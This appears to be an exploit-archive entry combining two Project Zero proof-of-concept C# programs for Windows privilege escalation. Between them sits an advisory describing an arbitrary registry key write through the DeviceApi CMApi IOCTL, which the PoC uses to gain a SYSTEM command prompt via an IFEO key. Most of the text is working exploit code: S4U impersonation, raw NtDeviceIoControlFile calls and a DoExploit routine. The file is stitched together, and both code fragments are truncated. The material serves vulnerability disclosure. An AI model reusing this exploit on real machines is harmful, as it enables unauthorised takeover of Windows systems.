        public static extern WinStatusCodes LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out UInt32 AuthenticationPackage);

      }

      public sealed class HandleSecurityToken
          : IDisposable
      {
        private IntPtr m_hToken = IntPtr.Zero;

        // using S4U logon
        public HandleSecurityToken(string UserName,
            string Domain,
            OSCalls.WinLogonType LogonType
            )
        {
          using (OSCalls.KerbS4ULogon authPackage = new OSCalls.KerbS4ULogon(UserName, Domain))
          {
            IntPtr lsaHandle;
            OSCalls.WinStatusCodes status = OSCalls.LsaConnectUntrusted(out lsaHandle);
            if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
              throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
            try
            {
              UInt32 kerberosPackageId;
              using (OSCalls.LsaStringWrapper kerberosPackageName = new OSCalls.LsaStringWrapper("Negotiate"))
              {
                status = OSCalls.LsaLookupAuthenticationPackage(lsaHandle, ref kerberosPackageName._string, out kerberosPackageId);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
              }
              OSCalls.LsaStringWrapper originName = null;
              try
              {
                originName = new OSCalls.LsaStringWrapper("S4U");
                OSCalls.TOKEN_SOURCE sourceContext = new OSCalls.TOKEN_SOURCE("NtLmSsp");
                System.IntPtr profileBuffer = IntPtr.Zero;
                UInt32 profileBufferLength = 0;
                Int64 logonId;
                OSCalls.WinStatusCodes subStatus;
                OSCalls.QUOTA_LIMITS quotas;
                status = OSCalls.LsaLogonUser(
                    lsaHandle,
                    ref originName._string,
                    (OSCalls.SecurityLogonType)LogonType,
                    kerberosPackageId,
                    authPackage.Ptr,
                    (uint)authPackage.Length,
                    IntPtr.Zero,
                    ref sourceContext,
                    out profileBuffer,
                    out profileBufferLength,
                    out logonId,
                    out m_hToken,
                    out quotas,
                    out subStatus);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
                if (profileBuffer != IntPtr.Zero)
                  OSCalls.LsaFreeReturnBuffer(profileBuffer);
              }
              finally
              {
                if (originName != null)
                  originName.Dispose();
              }
            }
            finally
            {
              OSCalls.LsaDeregisterLogonProcess(lsaHandle);
            }
          }
        }

        ~HandleSecurityToken()
        {
          Dispose(false);
        }

        public void Dispose()
        {
          Dispose(true);
        }

        private void Dispose(bool disposing)
        {
          lock (this)
          {
            if (!m_hToken.Equals(IntPtr.Zero))
            {
              OSCalls.CloseHandle(m_hToken);
              m_hToken = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }
        }

        public System.Security.Principal.WindowsIdentity BuildIdentity()
        {
          System.Security.Principal.WindowsIdentity retVal = new System.Security.Principal.WindowsIdentity(m_hToken);
          GC.KeepAlive(this);
          return retVal;
        }
      }

    }

    #endregion

    /// <summary>
    /// The Windows Logon Types.
    /// </summary>
    public enum WinLogonType
    {
      /// <summary>
      /// Interactive logon
      /// </summary>
      LOGON32_LOGON_INTERACTIVE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_INTERACTIVE,
      /// <summary>
      /// Network logon
      /// </summary>
      LOGON32_LOGON_NETWORK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK,
      /// <summary>
      /// Batch logon
      /// </summary>
      LOGON32_LOGON_BATCH = Win32.OSCalls.WinLogonType.LOGON32_LOGON_BATCH,
      /// <summary>
      /// Logon as a service
      /// </summary>
      LOGON32_LOGON_SERVICE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_SERVICE,
      /// <summary>
      /// Unlock logon
      /// </summary>
      LOGON32_LOGON_UNLOCK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_UNLOCK,
      /// <summary>
      /// Preserve password logon
      /// </summary>
      LOGON32_LOGON_NETWORK_CLEARTEXT = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK_CLEARTEXT,
      /// <summary>
      /// Current token for local access, credentials for network access
      /// </summary>
      LOGON32_LOGON_NEW_CREDENTIALS = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NEW_CREDENTIALS
    }

    /// <summary>
    /// Logs in a credential for server apps. No need to provide password.
    /// </summary>
    /// <param name="credential">The credential to log in. Password is ignored.</param>
    /// <param name="logonType">The type of logon to use</param>
    /// <remarks>
    /// Requires Windows Server 2003 domain account running in Win2003 native domain mode
    /// </remarks>
    /// <returns>Returns a <c>System.Security.Principal.WindowsIdentity</c> object</returns>
    /// Raises an exception with error information if the user cannot log in
    public static System.Security.Principal.WindowsIdentity CreateIdentityS4U(System.Net.NetworkCredential credential, WinLogonType logonType)
    {
      using (Win32.HandleSecurityToken handleToken =
                  new Win32.HandleSecurityToken(credential.UserName, credential.Domain, (Win32.OSCalls.WinLogonType)logonType))
        return handleToken.BuildIdentity();
    }


    class Program
    {
      [Flags]
      public enum AttributeFlags : uint
      {
        None = 0,
        Inherit = 0x00000002,
        Permanent = 0x00000010,
        Exclusive = 0x00000020,
        CaseInsensitive = 0x00000040,
        OpenIf = 0x00000080,
        OpenLink = 0x00000100,
        KernelHandle = 0x00000200,
        ForceAccessCheck = 0x00000400,
        IgnoreImpersonatedDevicemap = 0x00000800,
        DontReparse = 0x00001000,
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class UnicodeString
      {
        ushort Length;
        ushort MaximumLength;
        [MarshalAs(UnmanagedType.LPWStr)]
        string Buffer;

        public UnicodeString(string str)
        {
          Length = (ushort)(str.Length * 2);
          MaximumLength = (ushort)((str.Length * 2) + 1);
          Buffer = str;
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class ObjectAttributes : IDisposable
      {
        int Length;
        IntPtr RootDirectory;
        IntPtr ObjectName;
        AttributeFlags Attributes;
        IntPtr SecurityDescriptor;
        IntPtr SecurityQualityOfService;

        private static IntPtr AllocStruct(object s)
        {
          int size = Marshal.SizeOf(s);
          IntPtr ret = Marshal.AllocHGlobal(size);
          Marshal.StructureToPtr(s, ret, false);
          return ret;
        }

        private static void FreeStruct(ref IntPtr p, Type struct_type)
        {
          Marshal.DestroyStructure(p, struct_type);
          Marshal.FreeHGlobal(p);
          p = IntPtr.Zero;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
        {
          Length = Marshal.SizeOf(this);
          if (object_name != null)
          {
            ObjectName = AllocStruct(new UnicodeString(object_name));
          }
          Attributes = flags;
          RootDirectory = rootkey;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags)
          : this(object_name, flags, IntPtr.Zero)
        {
        }

        public void Dispose()
        {
          if (ObjectName != IntPtr.Zero)
          {
            FreeStruct(ref ObjectName, typeof(UnicodeString));
          }
          GC.SuppressFinalize(this);
        }

        ~ObjectAttributes()
        {
          Dispose();
        }
      }

      [Flags]
      public enum LoadKeyFlags
      {
        None = 0,
        AppKey = 0x10,
        Exclusive = 0x20,
        Unknown800 = 0x800,
        ReadOnly = 0x2000,
      }

      [Flags]
      public enum GenericAccessRights : uint
      {
        None = 0,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      public class NtException : ExternalException
      {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string modulename);

        [Flags]
        enum FormatFlags
        {
          AllocateBuffer = 0x00000100,
          FromHModule = 0x00000800,
          FromSystem = 0x00001000,
          IgnoreInserts = 0x00000200
        }

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern int FormatMessage(
          FormatFlags dwFlags,
          IntPtr lpSource,
          int dwMessageId,
          int dwLanguageId,
          out IntPtr lpBuffer,
          int nSize,
          IntPtr Arguments
        );

        [DllImport("kernel32.dll")]
        private static extern IntPtr LocalFree(IntPtr p);

        private static string StatusToString(int status)
        {
          IntPtr buffer = IntPtr.Zero;
          try
          {
            if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
            {
              return Marshal.PtrToStringUni(buffer);
            }
          }
          finally
          {
            if (buffer != IntPtr.Zero)
            {
              LocalFree(buffer);
            }
          }
          return String.Format("Unknown Error: 0x{0:X08}", status);
        }

        public NtException(int status) : base(StatusToString(status))
        {
        }
      }

      public static void StatusToNtException(int status)
      {
        if (status < 0)
        {
          throw new NtException(status);
        }
      }


      [Flags]
      public enum FileOpenOptions
      {
        None = 0,
        DirectoryFile = 0x00000001,
        WriteThrough = 0x00000002,
        SequentialOnly = 0x00000004,
        NoIntermediateBuffering = 0x00000008,
        SynchronousIoAlert = 0x00000010,
        SynchronousIoNonAlert = 0x00000020,
        NonDirectoryFile = 0x00000040,
        CreateTreeConnection = 0x00000080,
        CompleteIfOplocked = 0x00000100,
        NoEaKnowledge = 0x00000200,
        OpenRemoteInstance = 0x00000400,
        RandomAccess = 0x00000800,
        DeleteOnClose = 0x00001000,
        OpenByFileId = 0x00002000,
        OpenForBackupIntent = 0x00004000,
        NoCompression = 0x00008000,
        OpenRequiringOplock = 0x00010000,
        ReserveOpfilter = 0x00100000,
        OpenReparsePoint = 0x00200000,
        OpenNoRecall = 0x00400000,
        OpenForFreeSpaceQuery = 0x00800000
      }

      public class IoStatusBlock
      {
        public IntPtr Pointer;
        public IntPtr Information;

        public IoStatusBlock(IntPtr pointer, IntPtr information)
        {
          Pointer = pointer;
          Information = information;
        }

        public IoStatusBlock()
        {
        }
      }

      [Flags]
      public enum ShareMode
      {
        None = 0,
        Read = 0x00000001,
        Write = 0x00000002,
        Delete = 0x00000004,
      }

      [Flags]
      public enum FileAccessRights : uint
      {
        None = 0,
        ReadData = 0x0001,
        WriteData = 0x0002,
        AppendData = 0x0004,
        ReadEa = 0x0008,
        WriteEa = 0x0010,
        Execute = 0x0020,
        DeleteChild = 0x0040,
        ReadAttributes = 0x0080,
        WriteAttributes = 0x0100,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      [DllImport("ntdll.dll")]
      public static extern int NtOpenFile(
          out IntPtr FileHandle,
          FileAccessRights DesiredAccess,
          ObjectAttributes ObjAttr,
          [In] [Out] IoStatusBlock IoStatusBlock,
          ShareMode ShareAccess,
          FileOpenOptions OpenOptions);

      [DllImport("ntdll.dll")]
      public static extern int NtDeviceIoControlFile(
        SafeFileHandle FileHandle,
        IntPtr Event,
        IntPtr ApcRoutine,
        IntPtr ApcContext,
        [In] [Out] IoStatusBlock IoStatusBlock,
        uint IoControlCode,
        SafeHGlobalBuffer InputBuffer,
        int InputBufferLength,
        SafeHGlobalBuffer OutputBuffer,
        int OutputBufferLength
      );

      static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
      {
        using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
        {
          using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
          {
            IoStatusBlock status = new IoStatusBlock();
            StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
              IntPtr.Zero, status, IoControlCode, input, input.Length,
              output, output.Length));

            return output.Result;
          }
        }
      }

      public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
      {
        AttributeFlags flags = AttributeFlags.CaseInsensitive;
        if (inherit)
          flags |= AttributeFlags.Inherit;
        using (ObjectAttributes obja = new ObjectAttributes(name, flags))
        {
          IntPtr handle;
          IoStatusBlock iostatus = new IoStatusBlock();
          StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
          return new SafeFileHandle(handle, true);
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      class CmApiOpenKeyData
      {
        public int cbSize; // 0
        public int device_type; // 4
        public int callback_id; // 8
        [MarshalAs(UnmanagedType.LPWStr)]
        public string name;  // c
        public int name_size; // 10
        public GenericAccessRights desired_access; // 14	
        public int create; // 18
        public int hardware_id; // 1c
        public int return_data_size; // 20

        public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
        {
          this.cbSize = Marshal.SizeOf(this);
          this.device_type = device_type;
          this.callback_id = callback_id;
          this.name = name;
          this.name_size = (name.Length + 1) * 2;
          this.desired_access = desired_access;
          this.create = create ? 1 : 0;
          this.hardware_id = hardware_id;
          this.return_data_size = return_data_size;
        }
      }

      [StructLayout(LayoutKind.Sequential)]
      class CmApiOpenKeyResult
      {
        int size;
        public int status;
        public long handle;
      };

      public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
      {
        public SafeHGlobalBuffer(int length)
          : this(Marshal.AllocHGlobal(length), length, true)
        {
        }

        public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
          : base(owns_handle)
        {
          Length = length;
          SetHandle(buffer);
        }

        public int Length
        {
          get; private set;
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.FreeHGlobal(handle);
            handle = IntPtr.Zero;
          }
          return true;
        }
      }

      public class SafeStructureBuffer : SafeHGlobalBuffer
      {
        Type _type;

        public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
        {
          _type = value.GetType();
          Marshal.StructureToPtr(value, handle, false);
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.DestroyStructure(handle, _type);
          }
          return base.ReleaseHandle();
        }
      }

      public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
      {
        public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
        {
        }

        public T Result
        {
          get
          {
            if (IsInvalid)
              throw new ObjectDisposedException("handle");

            return Marshal.PtrToStructure<T>(handle);
          }
        }
      }

      static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
      {
        if (current_depth == maxdepth)
        {
          names.Add(String.Join(@"\", name_parts));
        }
        else
        {
          foreach (string subkey in rootkey.GetSubKeyNames())
          {
            using (RegistryKey key = rootkey.OpenSubKey(subkey))
            {
              if (key != null)
              {
                EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);
              }
            }
          }
        }
      }

      static IEnumerable<string> GetValidDeviceNames()
      {
        List<string> names = new List<string>();
        using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
        {
          EnumKeys(rootkey, new string[0], names, 3, 0);
        }
        return names;
      }      

      static void CreateDeviceKey(string device_name, WindowsIdentity identity)
      {
        using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
          ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
        {
          CmApiOpenKeyData data = new CmApiOpenKeyData(0x111, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
          CmApiOpenKeyResult result = null;
          WindowsImpersonationContext ctx = null;
          if (identity != null)
          {
            ctx = identity.Impersonate();
          }
          try
          {
            result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
          }
          finally
          {
            if (ctx != null)
            {
              ctx.Undo();
            }
          }

          StatusToNtException(result.status);
        }
      }

      static bool DoExploit(string username)
      {
        try
        {
          WindowsIdentity id = CCWinLogonUtilities.CreateIdentityS4U(new NetworkCredential(username, "", Environment.UserDomainName),
            CCWinLogonUtilities.WinLogonType.LOGON32_LOGON_NETWORK);
          bool found_hive = false;
          foreach (string subkey in Registry.Users.GetSubKeyNames())
          {
            string user_name = id.User.ToString();
            if (subkey.Equals(user_name, StringComparison.OrdinalIgnoreCase))
            {
              found_hive = true;
              break;
            }
          }

          if (!found_hive)
          {
            throw new ArgumentException("Couldn't find user hive, make sure the user's logged on");
          }
                    
          string device_name = GetValidDeviceNames().First();          
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
          
          CreateDeviceKey(device_name, id);
        }
        catch (Exception ex)
        {
          Console.WriteLine("[ERROR]: {0}", ex.ToString());
        }

        return false;
      }

      static int GetSessionId()
      {
        using (Process p = Process.GetCurrentProcess())
        {
          return p.SessionId;
        }
      }

      static void Main(string[] args)
      {
        if (args.Length < 1)
        {
          Console.WriteLine("Usage: PoC username");
        }
        else
        {
          DoExploit(args[0]);
        }
      }
    }
  }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=872

Windows: DeviceApi CMApi PiCMOpenClassKey Arbitrary Registry Key Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PiCMOpenClassKey IOCTL allows a normal user to create arbitrary registry keys in the system hive leading to elevation of privilege.

Description:

The DeviceApi is a driver implemented inside the kernel which exposes a number of devices. One of those is CMApi which presumably is short for configuration manager API as it primarily exposes device configuration from the registry to the caller. The device exposes calls using IOCTLs, in theory anything which “creates” or “deletes” an object is limited behind an access check which only administrators have access to. However certain calls feed into the call PnpCtxRegCreateTree which will allow a user to open parts of the registry, and if they’re not there will create the keys. This is a problem as the keys are created in the user’s context using ZwCreateKey but without forcing an access check (it does this intentionally, as otherwise the user couldn’t create the key). All we need to do is find a CMApi IOCTL which will create the arbitrary keys for us.

Fortunately it’s not that simple, all the ones I find using the tree creation function verify that string being passed from the user meets some valid criteria and is always placed into a subkey which the user doesn’t have direct control over. However I noticed PiCMOpenDeviceKey allows a valid 3 part path, of the form ABC\DEF\XYZ to be specified and the only criteria for creating this key is it exists as a valid device under CurrentControlSet\Enum, however the keys will be created under CurrentControlSet\Hardware Profiles which doesn’t typically exist. The majority of calls to this IOCTL will apply a very restrictive security descriptor to the new keys, however if you specify the 0x200 device type flag it will use the default SD which will be inherited from the parent key. Even if this didn’t provide a useful ACE (in this case it has the default CREATOR OWNER giving full access) as it’s created under our user context we are the owner and so could rewrite the DACL anyway.

To convert this into a full arbitrary write we can specify a device path which doesn’t already exist and it will create the three registry keys. If we now delete the last key and replace it with a symbolic link we can point it at any arbitrary key. As the system hive is trusted this isn’t affected by the inter-hive symbolic link protections (and at anyrate services is in the same hive), however this means that the exploit won’t work from low-IL due to restrictions on creating symbolic links from sandboxes.

You should be treating anything which calls PnpCtxRegCreateTree or SysCtxRegCreateKey as suspect, especially if no explicit security descriptor is being passed. For example you can use PiCMOpenDeviceInterfaceKey to do something very similar and get an arbitrary Device Parameters key created with full control for any device interface which doesn’t already have one. You can’t use the same symbolic link trick here (you only control the leaf key) however there might be a driver which has exploitable behaviour if the user can create a arbitrary Device Parameters key. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It will create a new IFEO for a executable we know can be run from the task scheduler at system. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully created the key. You should find an interactive command prompt running at system on the desktop.

Expected Result:
The key access should fail, or at least the keys shouldn’t be writable by the current user. 

Observed Result:
The key access succeeds and a system level command prompt is created.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = flags;
        RootDirectory = rootkey;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags) 
        : this(object_name, flags, IntPtr.Zero)
      {
      }

      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }

      ~ObjectAttributes()
      {
        Dispose();
      }
    }

    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }

    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);

      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }

      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );

      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);

      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }

      public NtException(int status) : base(StatusToString(status))
      {
      }
    }

    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }


    [Flags]
    public enum FileOpenOptions
    {
      None = 0,
      DirectoryFile = 0x00000001,
      WriteThrough = 0x00000002,
      SequentialOnly = 0x00000004,
      NoIntermediateBuffering = 0x00000008,
      SynchronousIoAlert = 0x00000010,
      SynchronousIoNonAlert = 0x00000020,
      NonDirectoryFile = 0x00000040,
      CreateTreeConnection = 0x00000080,
      CompleteIfOplocked = 0x00000100,
      NoEaKnowledge = 0x00000200,
      OpenRemoteInstance = 0x00000400,
      RandomAccess = 0x00000800,
      DeleteOnClose = 0x00001000,
      OpenByFileId = 0x00002000,
      OpenForBackupIntent = 0x00004000,
      NoCompression = 0x00008000,
      OpenRequiringOplock = 0x00010000,
      ReserveOpfilter = 0x00100000,
      OpenReparsePoint = 0x00200000,
      OpenNoRecall = 0x00400000,
      OpenForFreeSpaceQuery = 0x00800000
    }

    public class IoStatusBlock
    {
      public IntPtr Pointer;
      public IntPtr Information;

      public IoStatusBlock(IntPtr pointer, IntPtr information)
      {
        Pointer = pointer;
        Information = information;
      }

      public IoStatusBlock()
      {
      }
    }

    [Flags]
    public enum ShareMode
    {
      None = 0,
      Read = 0x00000001,
      Write = 0x00000002,
      Delete = 0x00000004,
    }

    [Flags]
    public enum FileAccessRights : uint
    {
      None = 0,
      ReadData = 0x0001,
      WriteData = 0x0002,
      AppendData = 0x0004,
      ReadEa = 0x0008,
      WriteEa = 0x0010,
      Execute = 0x0020,
      DeleteChild = 0x0040,
      ReadAttributes = 0x0080,
      WriteAttributes = 0x0100,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    [DllImport("ntdll.dll")]
    public static extern int NtOpenFile(
        out IntPtr FileHandle,
        FileAccessRights DesiredAccess,
        ObjectAttributes ObjAttr,
        [In] [Out] IoStatusBlock IoStatusBlock,
        ShareMode ShareAccess,
        FileOpenOptions OpenOptions);

    [DllImport("ntdll.dll")]
    public static extern int NtDeviceIoControlFile(
      SafeFileHandle FileHandle,
      IntPtr Event,
      IntPtr ApcRoutine,
      IntPtr ApcContext,
      [In] [Out] IoStatusBlock IoStatusBlock,
      uint IoControlCode,
      SafeHGlobalBuffer InputBuffer,
      int InputBufferLength,
      SafeHGlobalBuffer OutputBuffer,
      int OutputBufferLength
    );

    static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
    {
      using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
      {
        using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
        {
          IoStatusBlock status = new IoStatusBlock();
          StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
            IntPtr.Zero, status, IoControlCode, input, input.Length,
            output, output.Length));
          
          return output.Result;
        }
      }
    }

    public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
    {
      AttributeFlags flags = AttributeFlags.CaseInsensitive;
      if (inherit)
        flags |= AttributeFlags.Inherit;
      using (ObjectAttributes obja = new ObjectAttributes(name, flags))
      {
        IntPtr handle;
        IoStatusBlock iostatus = new IoStatusBlock();
        StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
        return new SafeFileHandle(handle, true);
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    class CmApiOpenKeyData
    {
      public int cbSize; // 0
      public int device_type; // 4
      public int callback_id; // 8
      [MarshalAs(UnmanagedType.LPWStr)]
      public string name;  // c
      public int name_size; // 10
      public GenericAccessRights desired_access; // 14	
      public int create; // 18
      public int hardware_id; // 1c
      public int return_data_size; // 20

      public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
      {
        this.cbSize = Marshal.SizeOf(this);
        this.device_type = device_type;
        this.callback_id = callback_id;
        this.name = name;
        this.name_size = (name.Length + 1) * 2;
        this.desired_access = desired_access;
        this.create = create ? 1 : 0;
        this.hardware_id = hardware_id;
        this.return_data_size = return_data_size;
      }
    }

    [StructLayout(LayoutKind.Sequential)]
    class CmApiOpenKeyResult
    {
      int size;
      public int status;
      public long handle;
    };

    public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeHGlobalBuffer(int length)
        : this(Marshal.AllocHGlobal(length), length, true)
      {
      }

      public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
        : base(owns_handle)
      {
        Length = length;
        SetHandle(buffer);
      }

      public int Length
      {
        get; private set;
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.FreeHGlobal(handle);
          handle = IntPtr.Zero;
        }
        return true;
      }
    }

    public class SafeStructureBuffer : SafeHGlobalBuffer
    {
      Type _type;

      public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
      {
        _type = value.GetType();
        Marshal.StructureToPtr(value, handle, false);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.DestroyStructure(handle, _type);
        }
        return base.ReleaseHandle();
      }
    }

    public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
    {
      public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
      {
      }

      public T Result
      {
        get
        {
          if (IsInvalid)
            throw new ObjectDisposedException("handle");

          return Marshal.PtrToStructure<T>(handle);
        }
      }
    }

